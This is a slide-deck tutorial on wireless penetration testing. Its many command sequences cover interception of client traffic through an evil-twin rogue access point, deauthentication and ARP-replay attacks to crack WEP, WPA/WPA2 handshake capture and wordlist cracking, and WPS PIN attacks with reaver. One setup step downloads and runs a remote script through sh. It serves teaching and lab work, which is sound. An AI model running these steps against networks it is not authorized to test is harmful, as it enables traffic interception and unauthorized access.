In this slides deck, we gonna look into Wireless penetration testing requirements like hardware & software, Various IEEE standards. and also deep dive into WEP, WPA, WPA2 & its Security threats & Security best practices.

1. Wireless Penetration Testing

2. Agenda
WIRELESS PENETRATION TESTING
• Lab Setup
• Wi-Fi Network Fundamentals
• Wireless Packets
• Wi-Fi Network Interaction
• Wireless Reconnaissance
• Rogue Access points
• Cracking WEP
• Cracking WPA/WPA2
• WPS Attacks
• Security Best Practices

3. Lab Setup
Hardware requirements
• TP-Link WN722N
• Alfa AWUS036H
• Melon RTL8187L
• Alfa AWUS036NHA
• Panda PAU05
• Alfa AWUS036NEH

4. Hardware of my choice for this session:
TL-WN722N Wi-Fi Adaptor

5. System Architecture
• Minimum System Configuration
• Windows 10 in Host Machine
• Machine Specification: 4GB to 8GB RAM, 100GB HDD or SSD, 2CPU
• Virtualisation Platform
• Virtual box (https://www.virtualbox.org/)
(or)
• VMware (https://www.vmware.com/in/products/workstation-
player/workstation-player-evaluation.html)
• OS needs to be installed inside VM
• Kali Linux (https://www.kali.org/get-kali/#kali-platforms)

6. Software Requirements
• Aircrack-ng
• Wifite
• Bettercap
• Johntheripper
• Hashcat
• coWPATTY
• Kismet
• Fluxion
• Wi-Fi-Pumpkin

7. Wi-Fi Network Fundamentals
IEEE 802.11
• IEEE 802.11 is part of the IEEE 802 set of local area network (LAN)
technical standards, and specifies the set of media access control (MAC)
and physical layer (PHY) protocols for implementing wireless local area
network (WLAN) computer communication.
• The standard and amendments provide the basis for wireless network
products using the Wi-Fi brand and are the world's most widely used
wireless computer networking standards.
• IEEE 802.11 is used in most home and office networks to allow laptops,
printers, smartphones, and other devices to communicate with each other
and access the Internet without connecting wires. IEEE 802.11 is also a
basis for vehicle-based communication networks with IEEE 802.11p.

8. IEEE 802.11 (Contd.)
• The standards are created and maintained by the Institute of Electrical and
Electronics Engineers (IEEE) LAN/MAN Standards Committee (IEEE 802).
• The base version of the standard was released in 1997 and has had subsequent
amendments. While each amendment is officially revoked when it is incorporated
in the latest version of the standard, the corporate world tends to market to the
revisions because they concisely denote the capabilities of their products.
• IEEE 802.11 uses various frequencies including, but not limited to, 2.4 GHz,
5 GHz, 6 GHz, and 60 GHz frequency bands. Although IEEE 802.11 specifications
list channels that might be used, the radio frequency spectrum availability
allowed varies significantly by regulatory domain.
• The protocols are typically used in conjunction with IEEE 802.2, and are designed
to interwork seamlessly with Ethernet, and are very often used to carry Internet
Protocol traffic.

9. Standards and Amendments

10. Standards and Amendments(Contd.)

11. In Process Standards

12. Wireless Lan: 802.11 Standards Comparison
Wi-Fi 7 Expected to Launch in second half of 2024, Currently we are using Wi-Fi 6

13. Basic Terminologies

14. Basic Terminologies(Contd.)
Access Point (AP)
• AP is a networking hardware device that allows other Wi-Fi devices to
connect to a wired network.
• As a standalone device, the AP may have a wired connection to a router,
but, in a wireless router, it can also be an integral component of the router
itself.
Service Set Identifier (SSID)
• A service set identifier (SSID) is a sequence of characters that uniquely
names a wireless local area network (WLAN).
• An SSID is sometimes referred to as a "network name" This name allows
stations to connect to the desired network when multiple independent
networks operate in the same physical area.

15. Basic Terminologies(Contd.)
Basic Service Set Identifier (BSSID)
• Its the MAC physical address of the access point or wireless router that is
used to connect to the Wi-Fi.
Extended Service Set Identifier (ESSID)
• It is a wireless network, created by multiple access points, which appears
to users as a single, seamless network, such as a network covering a home
or office that is too large for reliable coverage by a single access point.
Roaming
• Wi-Fi roaming occurs when a wireless client device moves outside the
usable range of one router or access point (AP) and connects to a
different one.

16. Basic Terminologies(Contd.)
Channel
• A Wi-Fi channel is the frequency at which your router sends out the
information to your device. Most routers and devices support several
bands for your Wi-Fi connection, most popular being 5 GHz and 2.4 GHz.
Each of these ranges gets divided into smaller slots that are channels.
Data Rate
• Data rates varying modulation types and number of spatial streams; 200
Mbps, 400 Mbps, 433 Mbps, 600 Mbps, 867 Mbps.
Beacon
• Wi-Fi beacons are relatively short, regular transmissions from access
points (APs) with a purpose to inform user devices (clients) about
available Wi-Fi services and near-by access points. Clients use beacons to
decide which AP with which to connect.

17. Wireless Operating modes

18. Wireless Operating modes (Contd.)
• Managed - Managed mode allows you to configure your laptop or desktop
system as an AP for providing connectivity to other wireless stations.
• Ad-hoc - Ad-hoc mode refers to a wireless network structure where
devices can communicate directly with each other. This type of wireless
network is also called peer-to-peer mode.
• Master - When your wireless card is in master mode it acts as an access
point and it actively transmits a signal
• Monitor - Monitor mode, or RFMON (Radio Frequency MONitor) mode,
allows a computer with a wireless network interface controller (WNIC) to
monitor all traffic received on a wireless channel.
• Auto - the easiest way to configure a wireless interface and is enabled by
default

19. TP-Link TL-WN722N Driver Software
installation:
• Sudo apt update
• Sudo apt upgrade
• Sudo apt dist-upgrade
• Sudo reboot
• Sudo apt install bc
• Sudo apt get install build-essential
• Sudo apt-get install libelf-dev
• Sudo apt install linux-headers-amd64
• Echo "blacklist r8188eu" > "/etc/modprobe.d/realtek.conf"
• Reboot
• Git clone https://github.com/aircrack-ng/rtl8188eus
• Cd rtl8188eus
• sh -c "$(wget -O- https://gitlab.com/KanuX/rtl8188eus/-/raw/master/scripts/build.sh)"

20. Monitor Mode
• Start the Kali OS in VMware or Virtual box
• Plug-in USB Tplink Wireless Adapter (TL-WN722N)
• Run following command
• iwconfig

21. Monitor Mode(Contd.)
• By default it will be in Auto or Managed mode
• Run following commands to switch to Monitor mode
• Airmon-ng start wlan0
• Airmon-ng check kill [if any previous processes are running do this]
• iwconfig
• To Disable monitor mode run airmon-ng stop wlan0
• Restart network manager – service network-manager start

22. Monitor Mode(Contd.)

23. Wireless Packets – IEEE 802.11 Mac Frame
Structure

24. Wireless Packet Types

25. Analyzing Packets using Wireshark

26. Wi-Fi Network Interaction

27. Wi-Fi Authentication Methods

28. Wireless Encryption Protocols
(WEP/WPA/WPA2)

29. WPA2 Authentication & Keys

30. WPA2 Personal and Enterprise

31. WPS (Wi-Fi Protected Setup)

32. Authentication

33. Wireless Reconnaissance
• Tools required: Bettercap, airodump-ng & Kismet
• In Bettercap, run following commands
• Choose interface before, bettercap --iface wlan0
• Help wifi
• Wifi.recon on
• Wifi.show
• Wifi.recon off

34. Wireless Reconnaissance with Bettercap

35. Wardriving with Kismet (Just for reference)
• This can be achieved only, if we are moving or driving or roaming in a
vehicle from multiple location to capture Wi-Fi hotspots with GPS
Information.
• Hardware required - Car, Laptop, Android Phone, Wifi Adapter
• Software Required – Kismet, GPSD, ADB, Share GPS (AndroidApp),
Google Earth
• Reference blog link - https://veteransec.org/wifi-hacking-wardriving-
with-an-android-phone-and-raspberry-pi-3/

36. Wardriving with WiGLE

37. Wireless Reconnaissance with Airodump-ng

38. Rogue Access points requirements
• Tools Required: airodump-ng, airbase-ng, airmon-ng and Wi-Fi-
pumpkin 3
• Wi-Fi pumpkin 3 installation
• Git clone https://github.com/P0cL4bs/wifipumpkin3
• https://wifipumpkin3.github.io/docs/getting-started#installation
• DNSmasq
• apt-get install dnsmasq -y

39. Creation of Rogue AP using Wi-Fi Pumpkin 3
• Plugin wireless adapter & It doesn’t required monitor mode enabled.
Run following commands
• Wifipumpkin3
• Set interface wlan0
• Set ssid hello
• Set proxy noproxy
• Start
• It will create an Rogue AP with Name
With name Hello

40. Creation of Rogue AP using Wi-Fi Pumpkin 3
(Contd.)
• Once any device is connected to Rogue AP “Hello” we can intercept
the traffic of connected clients easily. (Eviltwin attack)

41. Creation of Rogue AP using Air-ng tools
• Airodump-ng wlan0
• Airbase-ng -c 11 –e tplink –s –W 1 wlan0
• Airodump-ng –c 11 --bssid bssidoftplinknewlycreated –w 1 wlan0
• For Eviltwin/MITM attack we need DNSmasq
• airbase-ng -e TP-Link -c 8 wlan0 [create fake ap for eviltwinattack]
• at0 interface is created
geany /etc/dnsmasq.conf
interface=at0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

42. Creation of Rogue AP using Air-ng tools
(Contd.)
Run below commands in separate terminal
• ifconfig at0 up
• ifconfig at0 10.0.0.1 netmask 255.255.255.0
• route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
• iptables -P FORWARD ACCEPT
• iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
• echo '1' > /proc/sys/net/ipv4/ip_forward
• dnsmasq -C /etc/dnsmasq.conf -d
• Connect with any device now, we can see the traffic

43. Sniffing with Dnsmasq

44. Cracking WEP
Create a rogue access point with WEP Cipher
• Airbase-ng –c 11 –e hello –w 31:32:33:34:35 wlan0
Use the same Dnsmasq config here
• ifconfig at0 up
• ifconfig at0 10.0.0.1 netmask 255.255.255.0
• route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
• iptables -P FORWARD ACCEPT
• iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
• echo '1' > /proc/sys/net/ipv4/ip_forward
• dnsmasq -C /etc/dnsmasq.conf -d
• Connect with device with WEP Fake AP
• Airodump-ng wlan0 [ to check whether the fake ap is Up or not]

45. Cracking WEP(Contd.)
• DeAuthentication attack with aireplay-ng
• Aireplay-ng --deauth 0 –a macaddressoffakeAP –c macaddressofclientconnected
wlan0
• DeAuthentication attack with bettercap
• Bettercap --iface wlan0
• Wifi.recon on & wifi.show
• Wifi.deauth macaddressoffakeAP
• Macchanger
• Ifconfig wlan0 down
• Macchanger –r wlan0
• Ifconfig wlan0 up

46. Cracking WEP(Contd.)
• Airdump-ng to dump the wep.cap file
• airodump-ng -c 11 --bssid macaddfakeAP –w wepcrack wlan0
• Fake Authentication
• Aireplay-ng --fakeauth 60 –e hello –a macaddresfakeAP –h macaddressofwlan0 wlan0
• ARP Request Replay attack
• Aireplay-ng --arpreplay -e hello -a macaddfakeAP -h macaddrwlan0 wlan0
• Again perform deauth attack
• Aireplay-ng --deauth 0 –a macaddfakeAP -c macaddrclientconnected wlan0
• Stop the deauth
• Crack the WEP captured file using aircrack-ng
• Aircrack-ng wep-cracking.cap [it will crack the WEP key]

47. Cracking WEP(Contd.)

48. Cracking WEPDUMP File using Aircrack-ng

49. Cracking WEP using Wifite

50. Cracking WPA/WPA2

51. Password Wordlists (Seclists)

52. Password Wordlists (Weakpass.com)

53. Password Wordlists (wiki.skullsecurity.org)

54. Capture the WPA/WPA2 Handshake file
• Run the following commands:
• airmon-ng start wlan0 [Put the wireless adapter in Monitor mode]
• airodump-ng wlan0 [Listen to all the APs which are alive]
• airodump-ng -c 6 --bssid macaddrwpaAP -w wpacracking wlan0 [capture
wpacracking handshake file with airodump-ng]
• Do a Deauthentication attack manually by disconnection/connecting your
mobile device to that AP
• aircrack-ng wpacracking-01.cap -w /usr/share/dict/wordlist-probable.txt
[Pass the wordlist with handshake file]

55. Capture the WPA/WPA2 Handshake
file(Contd.)

56. Cracking WPA/WPA2 using John the Ripper
• John --wordlist=/usr/share/dict/wordlist-probable.txt --rules --stdout
| aircrack-ng -e tplink -w - wpacracking.cap

57. Cracking WPA/WPA2 using Wifite
• Wifite –wpa
• Before starting the
attack connect with
a client device

58. Cracking WPS

59. Cracking WPS (PIN attacks)
• wifite --wps [Using Wifite]
• reaver -i wlan0mon -b <bssid> -vv -L -N -c 1 –K [Using Reaver]

60. Next-Gen Wireless Assessment tools
Wi-Fi Pineapple

61. Security Best Practices
• Change default passwords
• Restrict access to authorized users
• Encrypt the data on your network
• Protect your Service Set Identifier (SSID)
• Install a firewall
• Maintain antivirus software
• Use file sharing with caution
• Keep your access point software patched and up to date
• Check your internet provider’s or router manufacturer’s wireless security options
• Connect using a Virtual Private Network (VPN)
Reference blog link - https://www.cisa.gov/uscert/ncas/tips/ST05-003

62. THANK YOU !